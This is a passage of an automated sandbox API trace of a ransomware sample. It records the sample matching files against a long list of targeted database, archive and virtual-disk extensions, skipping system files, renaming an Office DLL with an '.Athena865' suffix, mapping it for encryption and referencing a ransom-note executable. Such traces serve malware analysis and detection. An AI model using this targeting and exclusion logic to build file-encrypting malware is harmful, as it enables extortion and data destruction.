lpString2=".sys") returned 1 [0149.595] lstrlenW (lpString="wxpr.dll") returned 8 [0149.595] lstrlenW (lpString="bak") returned 3 [0149.596] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0149.596] lstrlenW (lpString="ba_") returned 3 [0149.596] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0149.596] lstrlenW (lpString="dbb") returned 3 [0149.596] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0149.596] lstrlenW (lpString="vmdk") returned 4 [0149.596] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0149.596] lstrlenW (lpString="rar") returned 3 [0149.596] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0149.596] lstrlenW (lpString="zip") returned 3 [0149.596] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0149.596] lstrlenW (lpString="tgz") returned 3 [0149.596] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0149.596] lstrlenW (lpString="vbox") returned 4 [0149.596] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0149.596] lstrlenW (lpString="vdi") returned 3 [0149.596] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0149.596] lstrlenW (lpString="vhd") returned 3 [0149.596] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0149.596] lstrlenW (lpString="vhdx") returned 4 [0149.596] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0149.596] lstrlenW (lpString="avhd") returned 4 [0149.596] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0149.596] lstrlenW (lpString="db") returned 2 [0149.596] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0149.596] lstrlenW (lpString="db2") returned 3 [0149.596] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0149.596] lstrlenW (lpString="db3") returned 3 [0149.596] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0149.596] lstrlenW (lpString="dbf") returned 3 [0149.597] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0149.597] lstrlenW (lpString="mdf") returned 3 [0149.597] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0149.597] lstrlenW (lpString="mdb") returned 3 [0149.597] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0149.597] lstrlenW (lpString="sql") returned 3 [0149.597] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0149.597] lstrlenW (lpString="sqlite") returned 6 [0149.597] lstrcmpiW (lpString1="pr.dll", lpString2="sqlite") returned -1 [0149.597] lstrlenW (lpString="sqlite3") returned 7 [0149.597] lstrcmpiW (lpString1="xpr.dll", lpString2="sqlite3") returned 1 [0149.597] lstrlenW (lpString="sqlitedb") returned 8 [0149.597] lstrlenW (lpString="xml") returned 3 [0149.597] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0149.597] lstrlenW (lpString="$er") returned 3 [0149.597] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0149.597] lstrlenW (lpString="4dd") returned 3 [0149.597] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0149.597] lstrlenW (lpString="4dl") returned 3 [0149.597] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0149.597] lstrlenW (lpString="^^^") returned 3 [0149.597] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0149.597] lstrlenW (lpString="abs") returned 3 [0149.597] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0149.597] lstrlenW (lpString="abx") returned 3 [0149.597] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0149.597] lstrlenW (lpString="accdb") returned 5 [0149.597] lstrcmpiW (lpString1="r.dll", lpString2="accdb") returned 1 [0149.597] lstrlenW (lpString="accdc") returned 5 [0149.597] lstrcmpiW (lpString1="r.dll", lpString2="accdc") returned 1 [0149.598] lstrlenW (lpString="accde") returned 5 [0149.598] lstrcmpiW (lpString1="r.dll", lpString2="accde") returned 1 [0149.598] lstrlenW (lpString="accdr") returned 5 [0149.598] lstrcmpiW (lpString1="r.dll", lpString2="accdr") returned 1 [0149.598] lstrlenW (lpString="accdt") returned 5 [0149.598] lstrcmpiW (lpString1="r.dll", lpString2="accdt") returned 1 [0149.598] lstrlenW (lpString="accdw") returned 5 [0149.598] lstrcmpiW (lpString1="r.dll", lpString2="accdw") returned 1 [0149.598] lstrlenW (lpString="accft") returned 5 [0149.598] lstrcmpiW (lpString1="r.dll", lpString2="accft") returned 1 [0149.598] lstrlenW (lpString="adb") returned 3 [0149.598] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0149.598] lstrlenW (lpString="adb") returned 3 [0149.598] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0149.598] lstrlenW (lpString="ade") returned 3 [0149.598] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0149.598] lstrlenW (lpString="adf") returned 3 [0149.598] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0149.598] lstrlenW (lpString="adn") returned 3 [0149.598] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0149.598] lstrlenW (lpString="adp") returned 3 [0149.598] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0149.598] lstrlenW (lpString="alf") returned 3 [0149.598] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0149.598] lstrlenW (lpString="ask") returned 3 [0149.598] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0149.598] lstrlenW (lpString="btr") returned 3 [0149.598] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0149.598] lstrlenW (lpString="cat") returned 3 [0149.598] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0149.598] lstrlenW (lpString="cdb") returned 3 [0149.599] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0149.599] lstrlenW (lpString="ckp") returned 3 [0149.599] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0149.599] lstrlenW (lpString="cma") returned 3 [0149.599] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0149.599] lstrlenW (lpString="cpd") returned 3 [0149.599] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0149.599] lstrlenW (lpString="dacpac") returned 6 [0149.599] lstrcmpiW (lpString1="pr.dll", lpString2="dacpac") returned 1 [0149.599] lstrlenW (lpString="dad") returned 3 [0149.599] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0149.599] lstrlenW (lpString="dadiagrams") returned 10 [0149.599] lstrlenW (lpString="daschema") returned 8 [0149.599] lstrlenW (lpString="db-journal") returned 10 [0149.599] lstrlenW (lpString="db-shm") returned 6 [0149.599] lstrcmpiW (lpString1="pr.dll", lpString2="db-shm") returned 1 [0149.599] lstrlenW (lpString="db-wal") returned 6 [0149.599] lstrcmpiW (lpString1="pr.dll", lpString2="db-wal") returned 1 [0149.599] lstrlenW (lpString="dbc") returned 3 [0149.599] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0149.599] lstrlenW (lpString="dbs") returned 3 [0149.599] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0149.599] lstrlenW (lpString="dbt") returned 3 [0149.599] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0149.599] lstrlenW (lpString="dbv") returned 3 [0149.599] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0149.599] lstrlenW (lpString="dbx") returned 3 [0149.599] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0149.599] lstrlenW (lpString="dcb") returned 3 [0149.599] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0149.599] lstrlenW (lpString="dct") returned 3 [0149.600] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0149.600] lstrlenW (lpString="dcx") returned 3 [0149.600] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0149.600] lstrlenW (lpString="ddl") returned 3 [0149.600] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0149.600] lstrlenW (lpString="dlis") returned 4 [0149.600] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0149.600] lstrlenW (lpString="dp1") returned 3 [0149.600] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0149.600] lstrlenW (lpString="dqy") returned 3 [0149.600] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0149.600] lstrlenW (lpString="dsk") returned 3 [0149.600] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0149.600] lstrlenW (lpString="dsn") returned 3 [0149.600] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0149.600] lstrlenW (lpString="dtsx") returned 4 [0149.600] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0149.600] lstrlenW (lpString="dxl") returned 3 [0149.600] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0149.600] lstrlenW (lpString="eco") returned 3 [0149.600] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0149.600] lstrlenW (lpString="ecx") returned 3 [0149.600] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0149.600] lstrlenW (lpString="edb") returned 3 [0149.600] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0149.600] lstrlenW (lpString="epim") returned 4 [0149.600] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0149.600] lstrlenW (lpString="fcd") returned 3 [0149.600] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0149.600] lstrlenW (lpString="fdb") returned 3 [0149.601] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0149.601] lstrlenW (lpString="fic") returned 3 [0149.601] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0149.601] lstrlenW (lpString="flexolibrary") returned 12 [0149.601] lstrlenW (lpString="fm5") returned 3 [0149.601] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0149.601] lstrlenW (lpString="fmp") returned 3 [0149.601] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0149.601] lstrlenW (lpString="fmp12") returned 5 [0149.601] lstrcmpiW (lpString1="r.dll", lpString2="fmp12") returned 1 [0149.601] lstrlenW (lpString="fmpsl") returned 5 [0149.601] lstrcmpiW (lpString1="r.dll", lpString2="fmpsl") returned 1 [0149.601] lstrlenW (lpString="fol") returned 3 [0149.601] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0149.601] lstrlenW (lpString="fp3") returned 3 [0149.601] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0149.601] lstrlenW (lpString="fp4") returned 3 [0149.601] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0149.601] lstrlenW (lpString="fp5") returned 3 [0149.601] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0149.601] lstrlenW (lpString="fp7") returned 3 [0149.601] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0149.601] lstrlenW (lpString="fpt") returned 3 [0149.601] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0149.601] lstrlenW (lpString="frm") returned 3 [0149.601] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0149.601] lstrlenW (lpString="gdb") returned 3 [0149.601] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0149.601] lstrlenW (lpString="gdb") returned 3 [0149.601] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0149.602] lstrlenW (lpString="grdb") returned 4 [0149.602] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0149.602] lstrlenW (lpString="gwi") returned 3 [0149.602] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0149.602] lstrlenW (lpString="hdb") returned 3 [0149.602] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0149.602] lstrlenW (lpString="his") returned 3 [0149.602] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0149.602] lstrlenW (lpString="ib") returned 2 [0149.602] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0149.602] lstrlenW (lpString="idb") returned 3 [0149.602] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0149.602] lstrlenW (lpString="ihx") returned 3 [0149.602] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0149.602] lstrlenW (lpString="itdb") returned 4 [0149.602] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0149.602] lstrlenW (lpString="itw") returned 3 [0149.602] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0149.602] lstrlenW (lpString="jet") returned 3 [0149.602] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0149.602] lstrlenW (lpString="jtx") returned 3 [0149.602] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0149.602] lstrlenW (lpString="kdb") returned 3 [0149.602] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0149.602] lstrlenW (lpString="kexi") returned 4 [0149.602] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0149.602] lstrlenW (lpString="kexic") returned 5 [0149.602] lstrcmpiW (lpString1="r.dll", lpString2="kexic") returned 1 [0149.602] lstrlenW (lpString="kexis") returned 5 [0149.602] lstrcmpiW (lpString1="r.dll", lpString2="kexis") returned 1 [0149.603] lstrlenW (lpString="lgc") returned 3 [0149.603] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0149.603] lstrlenW (lpString="lwx") returned 3 [0149.603] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0149.603] lstrlenW (lpString="maf") returned 3 [0149.603] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0149.603] lstrlenW (lpString="maq") returned 3 [0149.603] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0149.603] lstrlenW (lpString="mar") returned 3 [0149.603] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0149.603] lstrlenW (lpString="marshal") returned 7 [0149.603] lstrcmpiW (lpString1="xpr.dll", lpString2="marshal") returned 1 [0149.603] lstrlenW (lpString="mas") returned 3 [0149.603] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0149.603] lstrlenW (lpString="mav") returned 3 [0149.603] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0149.603] lstrlenW (lpString="maw") returned 3 [0149.603] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0149.603] lstrlenW (lpString="mdbhtml") returned 7 [0149.603] lstrcmpiW (lpString1="xpr.dll", lpString2="mdbhtml") returned 1 [0149.603] lstrlenW (lpString="mdn") returned 3 [0149.603] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0149.603] lstrlenW (lpString="mdt") returned 3 [0149.603] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0149.603] lstrlenW (lpString="mfd") returned 3 [0149.603] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0149.603] lstrlenW (lpString="mpd") returned 3 [0149.603] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0149.603] lstrlenW (lpString="mrg") returned 3 [0149.603] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0149.603] lstrlenW (lpString="mud") returned 3 [0149.604] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0149.604] lstrlenW (lpString="mwb") returned 3 [0149.604] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0149.604] lstrlenW (lpString="myd") returned 3 [0149.604] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0149.604] lstrlenW (lpString="ndf") returned 3 [0149.604] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0149.604] lstrlenW (lpString="nnt") returned 3 [0149.604] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0149.604] lstrlenW (lpString="nrmlib") returned 6 [0149.604] lstrcmpiW (lpString1="pr.dll", lpString2="nrmlib") returned 1 [0149.604] lstrlenW (lpString="ns2") returned 3 [0149.604] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0149.604] lstrlenW (lpString="ns3") returned 3 [0149.604] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0149.604] lstrlenW (lpString="ns4") returned 3 [0149.604] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0149.604] lstrlenW (lpString="nsf") returned 3 [0149.604] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0149.604] lstrlenW (lpString="nv") returned 2 [0149.604] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0149.604] lstrlenW (lpString="nv2") returned 3 [0149.604] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0149.604] lstrlenW (lpString="nwdb") returned 4 [0149.604] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0149.604] lstrlenW (lpString="nyf") returned 3 [0149.604] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0149.604] lstrlenW (lpString="odb") returned 3 [0149.604] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0149.604] lstrlenW (lpString="odb") returned 3 [0149.605] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0149.605] lstrlenW (lpString="oqy") returned 3 [0149.605] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0149.605] lstrlenW (lpString="ora") returned 3 [0149.605] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0149.605] lstrlenW (lpString="orx") returned 3 [0149.605] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0149.605] lstrlenW (lpString="owc") returned 3 [0149.605] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0149.605] lstrlenW (lpString="p96") returned 3 [0149.605] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0149.605] lstrlenW (lpString="p97") returned 3 [0149.605] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0149.605] lstrlenW (lpString="pan") returned 3 [0149.605] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0149.605] lstrlenW (lpString="pdb") returned 3 [0149.605] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0149.605] lstrlenW (lpString="pdm") returned 3 [0149.605] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0149.605] lstrlenW (lpString="pnz") returned 3 [0149.605] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0149.605] lstrlenW (lpString="qry") returned 3 [0149.605] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0149.605] lstrlenW (lpString="qvd") returned 3 [0149.605] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0149.605] lstrlenW (lpString="rbf") returned 3 [0149.605] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0149.605] lstrlenW (lpString="rctd") returned 4 [0149.605] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0149.605] lstrlenW (lpString="rod") returned 3 [0149.605] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0149.606] lstrlenW (lpString="rodx") returned 4 [0149.606] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0149.606] lstrlenW (lpString="rpd") returned 3 [0149.606] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0149.606] lstrlenW (lpString="rsd") returned 3 [0149.606] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0149.606] lstrlenW (lpString="sas7bdat") returned 8 [0149.606] lstrlenW (lpString="sbf") returned 3 [0149.606] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0149.606] lstrlenW (lpString="scx") returned 3 [0149.608] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0149.608] lstrlenW (lpString="sdb") returned 3 [0149.608] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0149.608] lstrlenW (lpString="sdc") returned 3 [0149.609] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0149.609] lstrlenW (lpString="sdf") returned 3 [0149.609] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0149.609] lstrlenW (lpString="sis") returned 3 [0149.609] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0149.609] lstrlenW (lpString="spq") returned 3 [0149.609] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0149.609] lstrlenW (lpString="te") returned 2 [0149.609] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0149.609] lstrlenW (lpString="teacher") returned 7 [0149.609] lstrcmpiW (lpString1="xpr.dll", lpString2="teacher") returned 1 [0149.609] lstrlenW (lpString="tmd") returned 3 [0149.609] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0149.609] lstrlenW (lpString="tps") returned 3 [0149.609] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0149.609] lstrlenW (lpString="trc") returned 3 [0149.609] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0149.609] lstrlenW (lpString="trc") returned 3 [0149.609] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0149.609] lstrlenW (lpString="trm") returned 3 [0149.609] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0149.609] lstrlenW (lpString="udb") returned 3 [0149.609] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0149.609] lstrlenW (lpString="udl") returned 3 [0149.609] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0149.609] lstrlenW (lpString="usr") returned 3 [0149.609] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0149.609] lstrlenW (lpString="v12") returned 3 [0149.609] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0149.610] lstrlenW (lpString="vis") returned 3 [0149.610] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0149.610] lstrlenW (lpString="vpd") returned 3 [0149.610] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0149.610] lstrlenW (lpString="vvv") returned 3 [0149.610] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0149.610] lstrlenW (lpString="wdb") returned 3 [0149.610] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0149.610] lstrlenW (lpString="wmdb") returned 4 [0149.610] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0149.610] lstrlenW (lpString="wrk") returned 3 [0149.610] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0149.610] lstrlenW (lpString="xdb") returned 3 [0149.610] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0149.610] lstrlenW (lpString="xld") returned 3 [0149.610] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0149.610] lstrlenW (lpString="xmlff") returned 5 [0149.610] lstrcmpiW (lpString1="r.dll", lpString2="xmlff") returned -1 [0149.610] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll.Athena865") returned 66 [0149.610] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wxpr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wxpr.dll.athena865"), dwFlags=0x1) returned 1 [0149.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wxpr.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0149.613] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16776) returned 1 [0149.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0149.614] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0149.614] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0149.614] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0149.614] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0149.614] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.615] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4490, lpName=0x0) returned 0x17c [0149.617] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4490) returned 0x100000 [0149.618] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0149.619] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0149.619] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0149.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0149.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0149.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0149.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0149.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0149.619] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0149.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0149.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0149.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0149.619] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0149.620] CloseHandle (hObject=0x17c) returned 1 [0149.620] CloseHandle (hObject=0x154) returned 1 [0149.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0149.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0149.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0149.620] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fff8a00, ftCreationTime.dwHighDateTime=0x1bdff9a, ftLastAccessTime.dwLowDateTime=0x1548bc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3fff8a00, ftLastWriteTime.dwHighDateTime=0x1bdff9a, nFileSizeHigh=0x0, nFileSizeLow=0x34d8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WZCNFLCT.CHM", cAlternateFileName="")) returned 1 [0149.620] lstrcmpiW (lpString1="WZCNFLCT.CHM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0149.620] lstrcmpiW (lpString1="WZCNFLCT.CHM", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0149.620] lstrcmpiW (lpString1="WZCNFLCT.CHM", lpString2=".") returned 1 [0149.620] lstrcmpiW (lpString1="WZCNFLCT.CHM", lpString2="..") returned 1 [0149.620] lstrcmpiW (lpString1="WZCNFLCT.CHM", lpString2="windows") returned 1 [0149.620] lstrcmpiW (lpString1="WZCNFLCT.CHM", lpString2="bootmgr") returned 1 [0149.620] lstrcmpiW (lpString1="WZCNFLCT.CHM", lpString2="temp") returned 1 [0149.620] lstrcmpiW (lpString1="WZCNFLCT.CHM", lpString2="pagefile.sys") returned 1 [0149.620] lstrcmpiW (lpString1="WZCNFLCT.CHM", lpString2="boot") returned 1 [0149.620] lstrcmpiW (lpString1="WZCNFLCT.CHM", lpString2="ids.txt") returned 1 [0149.620] lstrcmpiW (lpString1="WZCNFLCT.CHM", lpString2="ntuser.dat") returned 1 [0149.620] lstrcmpiW (lpString1="WZCNFLCT.CHM", lpString2="perflogs") returned 1 [0149.621] lstrcmpiW (lpString1="WZCNFLCT.CHM", lpString2="MSBuild") returned 1 [0149.621] lstrlenW (lpString="WZCNFLCT.CHM") returned 12 [0149.621] lstrcpyW (in: lpString1=0x241e8a8, lpString2="WZCNFLCT.CHM" | out: lpString1="WZCNFLCT.CHM") returned="WZCNFLCT.CHM" [0149.621] lstrlenW (lpString="WZCNFLCT.CHM") returned 12 [0149.621] lstrlenW (lpString="Athena865") returned 9 [0149.621] lstrcmpiW (lpString1="NFLCT.CHM", lpString2="Athena865") returned 1 [0149.621] lstrlenW (lpString=".dll") returned 4 